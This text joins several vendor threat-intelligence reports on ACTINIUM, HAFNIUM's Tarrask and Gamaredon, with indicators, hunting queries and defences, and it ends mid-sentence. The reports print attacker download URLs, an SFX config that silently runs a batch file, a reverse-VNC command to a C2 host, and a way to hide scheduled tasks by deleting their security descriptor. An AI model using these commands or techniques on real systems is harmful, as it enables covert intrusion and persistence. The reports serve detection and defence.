bilorotka[.]ru
reapart[.]ru
holotran[.]ru
golofir[.]ru
volotras[.]ru
dokkade[.]ru
nomukou[.]ru
huskari[.]ru
goloser[.]ru
milopoda[.]ru
goshita[.]ru
mirotas[.]ru
utemomac[.]ru
gortomalo[.]ru
zerotask[.]ru
hajimari[.]ru
ismetroh[.]ru
hortoban[.]ru
gloritapa[.]ru
vasitron[.]ru
libellus[.]ru
vositra[.]ru
hopfar[.]ru
bobotal[.]ru
nopaster[.]ru
meshatr[.]ru
fartopart[.]ru
koprotas[.]ru
historap[.]ru
dangeti[.]ru
nakushita[.]ru
atasareru[.]ru
golorta[.]ru
jabilen[.]ru
haguret[.]ru
naletovo[.]ru
uzumoreru[.]ru
screato[.]ru
herumot[.]ru
klotrast[.]ru
nattanda[.]ru
sumikko[.]ru
bellinor[.]ru
saturapa[.]ru
sundabokun[.]ru
nokitrav[.]ru
vivaldar[.]ru
nokata[.]ru
fortfar[.]ru
rawaumi[.]ru
nonima[.]ru
ikaraur[.]ru
nemoiti[.]ru
dudocilo[.]ru
wokoras[.]ru
onihik[.]ru
ruhodo[.]ru
mudarist[.]ru
gongorat[.]ru
yazibo[.]ru
pertolka[.]ru
asdorta[.]ru
holorta[.]ru
gortisir[.]ru
jupirest[.]ru
ruchkalo[.]ru
kolorato[.]ru
kucart[.]ru
filorta[.]ru
vostilo[.]ru
shitemo[.]ru
warau[.]ru
koltorist[.]ru
gortova[.]ru
lotorgas[.]ru
sorawo[.]ru
kimiga[.]ru
hokoldar[.]ru
amaniwa[.]ru
masshir[.]ru
telefar[.]ru
kippuno[.]ru
midiatr[.]ru
nastorlam[.]ru
martusi[.]ru
urovista[.]ru
kroviti[.]ru
bibikaro[.]ru
hilotrapa[.]ru
kovalsko[.]ru
vadilops[.]ru
hibigaru[.]ru
gribata[.]ru
alebont[.]ru
nukegaran[.]ru
zvustro[.]ru
lotorda[.]ru
vnestri[.]ru
dortisto[.]ru
Wordlist of observed terms
ACTINIUM likely generates strings for use in various components from a wordlist. A sample of terms observed in use by
ACTINIUM can be found below. ACTINIUM has been observed to use these terms for:
Subdomains for their C2 infrastructure
Scheduled task names
Folder names
Malware file names
ACTINIUM also likely generates strings for other uses where they attempt to disguise their activities.
13/18
abrupt
allegiance
allen
alley
allied
allocation
allow
allowance
allowing
allows
alloy
alluded
ally
almond
almost
alongside
alphabet
already
alter
alteration
although
always
amazing
amber
ambitious
amends
amid
among
beverley
beware
beyond
bicycle
bigger
bike
bikes
bill
billion
claimed
clank
clap
clash
clasped
classes
classroom
cough
could
councilman
countenance
counteract
countries
country
courage
courageous
cronos
debts
deceive
deceived
decent
deception
decide
decided
decidedly
decision
decisive
deck
declaration
declare
declared
decline
declined
decoy
decrease
decree
decrepit
dedicate
deduction
deed
deep
deeper
deep-going
deep-green
deep-groaning
deep-grounded
deep-grown
deephaven
deepish
deep-kiss
deep-laden
deep-laid
deeplier
deep-lunged
deeply
deep-lying
deepmouthed
deep-musing
deep-naked
deepnesses
deep-persuading
deep-piled
deep-pointed
deep-pondering
deep-premeditated
deep-read
deep-revolving
deep-rooted
deep-rooting
deep-sea
deep-searching
deep-seated
deep-seatedness
deep-set
deep-settled
deep-sighted
deep-sinking
deep-skirted
deepsome
deep-sore
deep-stapled
deep-sunken
deep-sweet
deep-tangled
deep-throated
deep-toned
deep-transported
deep-troubled
deep-vaulted
deep-versed
deep-voiced
deep-water
deepwaterman
deepwatermen
deep-worn
deep-wounded
deer
deerberry
deerbrook
deerdog
deerdre
deere
deerflies
deerflys
deerfood
deerhorn
deering
deerlet
deer-mouse
deers
deerstalker
deery
deeryards
default
defeated
defect
defective
defence
defend
defense
defensive
defiance
defiant
deficiency
defined
definite
definitely
defy
degrade
degree
deity
dejected
delay
delayed
delete
deliberate
deliberately
delicious
delight
delighted
delightful
delirium
deliverance
delivered
delivery
deluge
delve
demand
demanded
demolition
demonstrate
demonstration
dene
denial
denied
denote
dense
dentist
deny
depart
departed
department
departments
departure
depended
dependent
deplore
deploy
deployment
depression
14/18
depth
depths
deputy
derisive
derived
descendant
descended
descent
describe
description
desert
deserter
deserts
deserve
deserves
design
designed
designer
designs
desire
desolate
despair
desperate
desperately
despise
despite
dessert
destitute
destroyed
destroyer
detach
detached
detail
endanger
ending
endless
endlessly
endure
enemies
energy
enforce
faithless
fake
falcon
fame
familiar
family
famous
fancied
gleaming
glide
glimpse
gloom
gloomy
glory
glossy
gloves
glow
glue
gnaw
goat
goes
integer
integral
intelligence
intelligent
intend
descendant
descended
descent
describe
description
desert
interested
interesting
interference
island
isolation
issue
issued
itself
jack
jackal
jacket
jackson
jake
james
january
jaws
jazz
jealous
jealousy
jean
jeanne
jeans
jeer
jeff
jelly
jerk
jersey
jerusalem
jessamy
jessie
jest
jewel
jeweller
jewellery
jewels
jill
joan
jobs
join
joining
joint
joke
joking
jolly
jonas
joseph
josephine
josie
joyful
joyfully
judge
judgment
juice
juicy
july
jumble
jumped
jumper
june
jungle
junior
junk
just
justly
juvenile
lover
lower
loyalty
luck
lucy
luggage
luke
lumber
lump
lunch
luncheon
lustre
luxurious
luxury
mankind
manners
mansion
margaret
margarita
margin
marriage
marvellous
masquerade
naturally
nature
naughty
navigation
navy
near
neat
necessarily
necklace
needle
needlework
neglect
parlor
parlour
parrots
parsley
participate
parties
parting
penknife
perceive
percent
percy
perfect
perform
performed
perfume
pleasantly
pressure
presume
pretence
pretend
15/18
pretty
prevail
prevailed
prevhost
prey
price
priest
primary
prince
princess
printing
pumpkin
punctual
punish
punishment
pupil
purchase
purchaser
pure
purge
purpose
purse
pursuing
references
reflected
regions
registered
registration
registry
regret
regular
regularly
regulate
reject
relations
relative
relax
release
reliable
salary
sale
salmon
salt
salts
salvation
same
sand
scarce
scarcely
scared
scarf
scarlet
scattered
scene
scenery
scenes
scent
scheme
scholars
schoolboy
science
scold
scope
scorn
scornful
scoundrel
scout
scowled
shoe
shone
shooting
sorting
sought
sound
sounding
soup
sour
source
stool
stoop
stooped
stop
stopped
stopper
storm
stout
strawberries
stream
strengthen
stretched
strict
striking
string
strings
striped
stripes
stroke
stroll
NOTE: These indicators should not be considered exhaustive for this observed activity.
Detections
Microsoft 365 Defender
Microsoft Defender Antivirus
Microsoft Defender for Endpoint
Alerts with the following titles in the security center can indicate threat activity on your network:
ACTINIUM activity group
The following alerts might also indicate threat activity associated with this threat. These alerts, however, may be triggered by
unrelated threat activity. We
re listing them here because we recommend that these alerts be investigated and remediated
immediately given the severity of the attacks.
Suspicious obfuscation or deobfuscation activity
Suspicious script execution
A script with suspicious content was observed
PowerShell dropped a suspicious file on the machine
Anomalous process executing encoded command
Suspicious dynamic link library loaded
An anomalous scheduled task was created
An uncommon file was created and added to a Run Key
Suspicious screen capture activity
Staging of sensitive data
Suspicious process transferring data to external network
16/18
Microsoft Defender for Office 365
Microsoft Defender for Office 365 customers can use the email entity page to search for and visualize the potential impact of
these attacks to your organization.
The following email security alerts may indicate threat activity associated with this threat. These alerts, however, may be
triggered by unrelated threat activity. We
re listing them here because we recommend that these alerts be investigated and
remediated immediately given the severity of the attacks.
Email messages containing malicious file removed after delivery
Email messages containing malware removed after delivery
Email messages removed after delivery
Email reported by user as malware or phish
Malware campaign detected after delivery
Malware campaign detected and blocked
Malware not zapped because ZAP is disabled
Advanced hunting queries
Microsoft Sentinel
To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed
below:
Identify ACTINIUM IOCs
This query identifies a match across various data feeds for IOCs related to ACTINIUM:
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml
Identify antivirus detection of ACTINIUM activity
This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM
actor:
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml
17/18
Microsoft 365 Defender
To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries:
Find ACTINIUM-related emails
Use this query to look for look for emails that may have been received in your environment related to ACTINIUM.
EmailEvents
| where SenderMailFromDomain =~ 'who-int.info'
or SenderFromDomain =~ 'who-int.info'
Surface ACTINIUM-related alerts
Use this query to look for alerts related to ACTINIUM alerts.
AlertInfo
| where Title in~('ACTINIUM activity group')
Surface devices with ACTINIUM related alerts and gather additional device alert information
Use this query to look for threat activity associated with ACTINIUM alerts.
// Get any devices with ACTINIUM related Alert Activity
let DevicesACTINIUMAlerts = AlertInfo
| where Title in~('ACTINIUM activity group')
// Join in evidence information
| join AlertEvidence on AlertId
| where DeviceId != ""
| summarize by DeviceId, Title;
// Get additional alert activity for each device
AlertEvidence
| where DeviceId in(DevicesACTINIUMAlerts)
// Add additional info
| join kind=leftouter AlertInfo on AlertId
| summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)
Surface suspicious MSHTA process execution
Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path.
DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_all (".dll", "Roaming")
| where ProcessCommandLine contains @"Roaming\j"
| extend DLLName = extract(@"[jJ][a-z]{1,12}\.dll", 0, ProcessCommandLine)
Surface suspicious Scheduled Task activity
Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity.
DeviceProcessEvents
| where ProcessCommandLine has_all ("schtasks.exe", "create", "wscript", "e:vbscript", ".wav")
18/18
Tarrask malware uses scheduled tasks for defense evasion
microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion
April 12, 2022
As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been
uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response
Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack
targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell
with similar properties detailed by the Unit42 team in a previous blog.
Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet
service provider and data services sector, expanding on targeted sectors observed from their earlier operations
conducted in Spring 2021.
Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and
the discovery of a defense evasion malware called Tarrask that creates 
hidden
 scheduled tasks, and subsequent actions
to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.
The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a
very common method of persistence and defense evasion
and an enticing one, at that. In this post, we will demonstrate
how threat actors create scheduled tasks, how they cover their tracks, how the malware
s evasion techniques are used to
maintain and ensure persistence on systems, and how to protect against this tactic.
Right on schedule: Maintaining persistence via scheduled tasks
Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen
computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications).
Throughout the course of our research, we
ve found that threat actors commonly make use of this service to maintain
persistence within a Windows environment.
ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using
the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid
investigators in tracking this persistence mechanism.
The following registry keys are created upon creation of a new task:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\
{GUID}
Figure 1. Tarrask malware creates new registry keys along with the creation of new scheduled tasks
The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id,
Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks
path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.)
contain the basic parameters necessary to facilitate execution of the task.
To demonstrate the value in the artifacts generated, shown in the following figures, we have created 
My Special Task
which is set to execute the binary 
C:\Windows\System32\calc.exe
 on a regular interval.
Figure 2. XML file matches name of the task
Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where
the name of the file matches the name of the task. This is displayed in Figure 2, where we name the task 
My Special
Task
 as an example.
Figure 3. Extensionless XML file
Note that the 
Actions
 value stored within the Tasks\{GUID} key points to the command line associated with the task.
In Figure 2, there is a reference to 
C:\Windows\System32\calc.exe
 within the 
Edit Binary Value
 dialog, and there is
a path referenced within the 
<Command>
 section in the extensionless XML file in Figure 3. The fact that this value is
stored within two different locations can prove useful in recovering information regarding the task
s purpose in the
event the threat actor has taken steps to cover their tracks.
Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks 
Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log.
Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-WindowsTaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task
Scheduler engine.
Effectively hiding scheduled tasks
In this scenario, the threat actor created a scheduled task named 
WinUpdate
 via HackTool:Win64/Tarrask in order to
re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation
of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the
Tree registry path.
Figure 4. Deletion of the security descriptor (SD) value
In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly,
removal of this value results in the task 
disappearing
 from 
schtasks /query
 and Task Scheduler. The task is
effectively hidden unless an examiner manually inspects the aforementioned registry paths.
Issuing a 
reg delete
 command to delete the SD value will result in an 
Access Denied
 error even when run from an
elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the
Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon
execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.
Figure 5. Successful deletion of SD in Command Prompt
It is also important to note that the threat actor could have chosen to completely remove the two registry keys within
Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the ondisk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers
until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated.
s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps,
instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would
continue to run even after these components were removed.
Recommendations and cyber resilience guidance
Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks
we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and
uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain
sight.
As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving
persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention
to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that
will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g.,
critical systems such as domain controllers, database servers, etc.).
The techniques used by the actor and described in this post can be mitigated or detected by adopting the following
recommendations and security guidelines1:
Enumerate your Windows environment registry hives looking in the
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform
analysis on these tasks as needed.
Modify your audit policy to identify Scheduled Tasks actions by enabling logging 
TaskOperational
 within
Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable
to your environment.
Enable and centralize the following Task Scheduler logs. Even if the tasks are 
hidden
, these logs track key events
relating to them that could lead you to discovering a well-hidden persistence mechanism
Event ID 4698 within the Security.evtx log
Microsoft-Windows-TaskScheduler/Operational.evtx log
The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the
internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and
monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for
these connections from these critical Tier 0 and Tier 1 assets is in place.
Indicators of compromise (IOCs)
The following list provides IOCs observed during our investigation. We encourage customers to investigate these
indicators in their environments and implement detections and protections to identify past related activity and prevent
future attacks against their systems.
SHA256
File Name
Details
54660bd327c9b9d60a5b45cc59477c75b4a8e2266d988da8ed9956bcc95e6795
winupdate.exe, date.exe,
win.exe
Tarrask
a3baacffb7c74dc43bd4624a6abcd1c311e70a46b40dcc695b180556a9aa3bb2
windowsvc.exe, winsrv.exe,
WinSvc.exe, ScriptRun.exe,
Unique.exe, ngcsvc.exe,
ligolo_windows_amd64.exe,
proxy.zip, wshqos.exe,
cert.exe, ldaputility.exe
Ligolo
7e0f350864fb919917914b380da8d9b218139f61ab5e9b28b41ab94c2477b16d
CertCert.jsp, Cert0365.jsp
Godzilla
shell
Microsoft 365 Defender Detections
How customers can identify this in Microsoft 365 Defender:
Microsoft Defender Antivirus
Microsoft Defender for Endpoint on detects implants and components as the following:
HackTool:Win64/Tarrask!MSR
HackTool:Win64/Ligolo!MSR
Microsoft Defender for Endpoint detects malicious behavior observed as the following:
Behavior:Win32/ScheduledTaskHide.A
Microsoft Sentinel Detections
Microsoft Sentinel customers can use the following detection queries to look for this activity:
Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data
sources.
Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the
scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task
disappearing
 from 
schtasks /query
 and Task Scheduler.
Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware
using SecurityAlerts table. In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the
affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP,
logged on users etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the
alerts.
The technical information contained in this article is provided for general informational and educational purposes only
and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we
encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain
outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this
article is solely at your own risk.
Russia
s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
(Updated Feb. 16)
unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
February 3, 2022
By Unit 42
February 3, 2022 at 1:00 PM
Category: Government, Malware
Tags: Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Ukraine, WildFire
This post is also available in: 
 (Japanese)
Updated Feb. 16 to include new information on Gamaredon infrastructure and Indicators of Compromise (IoCs).
Executive Summary
Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now
amassed over 100,000 troops on Ukraine's eastern border, leading some to speculate that an invasion may come next. On Jan. 14, 2022,
this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a
separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is
ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats
targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have
also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group.
Since 2013, just prior to Russia
s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns
against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon
evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of
this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU)
publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea.
Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group.
Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for
indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different
phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses and over 100 samples of malware.
1/16
Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have
also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing
(VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity
organizations in defending against this threat group.
Update Feb. 16: When we originally published this report, we noted, 
While we have mapped out three large clusters of currently active
Gamaredon infrastructure, we believe there is more that remains undiscovered.
 We have since discovered hundreds more Gamaredonrelated domains, including known related-clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to
include these additional domains and cluster observations.
Full visualization of the techniques observed, relevant courses of action and IoCs related to this Gamaredon report can be found in the
Unit 42 ATOM viewer.
Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR
and the WildFire, AutoFocus, Advanced URL Filtering and DNS Security subscription services for the Next-Generation Firewall.
Related Unit 42 Topics
Gamaredon, APTs
Table of Contents
Gamaredon Downloader Infrastructure (Cluster 1)
-Cluster 1 History
-Initial Downloaders
-SFX Files and UltraVNC
SSL Pivot to Additional Infrastructure and Samples
File Stealer (Cluster 2)
Pteranodon (Cluster 3)
Conclusion
-Protections and Mitigations
Indicators of Compromise
Additional Resources
Gamaredon Downloader Infrastructure (Cluster 1)
Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to
discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon
approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example
can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019.
Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain
continues to resolve to new internet protocol (IP) addresses daily.
2/16
Figure 1. libre4[.]space recent IP resolutions as of Jan. 27, 2022.
Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day.
3/16
Figure 2. Domains associated with 194.58.100[.]17 on Jan. 27, 2022.
Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains
that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet
been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure.
Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses;
interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated
by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two
new IP addresses every day into Gamaredon
s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating
new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP
infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers.
For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the
precise day of a phishing campaign. Furthermore, Gamaredon
s technique provides the actors with a degree of control over who can
access malicious files hosted on their infrastructure, as a web page
s uniform resource locator (URL) file path embedded in a downloader
only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a
 file not found error for anyone attempting to study the malware.
Cluster 1 History
While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain
marker
 domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently
consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically
linked naming 
 several of which are still active in this cluster today.
4/16
Figure 3. Domain cluster on 185.158.114[.]107 in March 2019.
Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on
195.88.209[.]136, in December 2018.
Figure 4. Initial domain bitsadmin[.]space, December 2018.
We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster
on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this
cluster currently active.
Initial Downloaders
5/16
Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the
identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained
Ukrainian filenames.
Filename
Translation
.docx
Maksim.docx
.docx
RAZANTSEV IS SUSPICIOUS.docx
.docx
interrogation protocol.docx
.docx
TELEGRAM.docx
.docx
2_Memorial_about_processal_rights_and_obligations_of_the_
Victim.docx
2_Porjadok_do_nakazu_111_vid_13.04.2017.docx
2_Procedure_to_order_111_from_13.04.2017.docx
.docx
conclusion Timoshechkin.docx
 2021 (
).doc
Report on the LCA for June 2021 (Autosaved) .doc
.docx
Klitschko's conclusion.docx
.docx
Indictment GERMAN et al.docx
 10 
.doc
support 1-SL 10 months.doc
Table 1. Recently observed downloader filenames.
An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the
malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise
benign document. Recent examples of the remote template 
 file URLs these documents use include the following:
http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam
http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp
http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot
http://although.coferto[.]ru/[Redacted]/amazing.dot
http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl
Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp and others. We
believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services.
Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns.
Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other
Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27,
once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing
attempt against a Western government entity operating in Ukraine.
In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment
service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume and submitted it
through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it
appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization.
Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of
Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was 
NOVEMBER
REPORT
 and attached to the email was a file called 
Report on the LCA for June 2021(Autosaved).doc.
 When opened, this Word
document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named
glitter.kdp.
6/16
Figure 5. Email sent to 6524@dmsu[.]gov.ua.
CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently
published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on
this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and
will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE
s case, after six hours the infrastructure
came back to life again and downloaded a SelF-eXtracting (SFX) archive.
This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver
various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim
computers. The group
s current preference appears to be open-source UltraVNC software.
SFX Files and UltraVNC
SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case
of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This
lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel,
allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but
instead come from inside the network where the victim exists. To illustrate how this occurs, we will step through one of the SFX files
(SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified.
When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the
archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances,
the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found,
similar to this:
;!@Install@!UTF-8!
InstallPath="%APPDATA%\\Drivers"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:34679.cmd"
This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the
hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked
samples during this time period.
The following files were included in this particular archive:
SHA256
Filename
695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa
34679.cmd
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385
MSRC4Plugin_for_sc.dsm
393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f
QlpxpQpOpDpnpRpC.ini
ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c
UltraVNC.ini
304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b
YiIbIbIqIZIiIBI2.jpg
1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9
kqT5TMTETyTJT4TG.jpg
7/16
27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5
owxxxGxzxqxxxExw.jpg
3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b
rc4.key
Table 2. Files included in the example SFX Archive.
The batch files use randomized alphanumeric strings for the variable names, and 
 depending on the sample 
 collect different
information or use different domains and filenames; however, at the core they each perform one specific function 
 initiate the reverse
VNC connection. The purpose of this file is to obscure and execute the desired command: start "" "%CD%\sysctl.exe" -autoreconnect -id:
[system media access control (MAC) address] -connect technec[.]org:8080
Figure 6: Content of 34679.cmd from above example.
In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous
scripts (we
ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will
masquerade under, an identifier with which to track the victim, the remote attacker
s domain to which the connection should be made,
the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn,
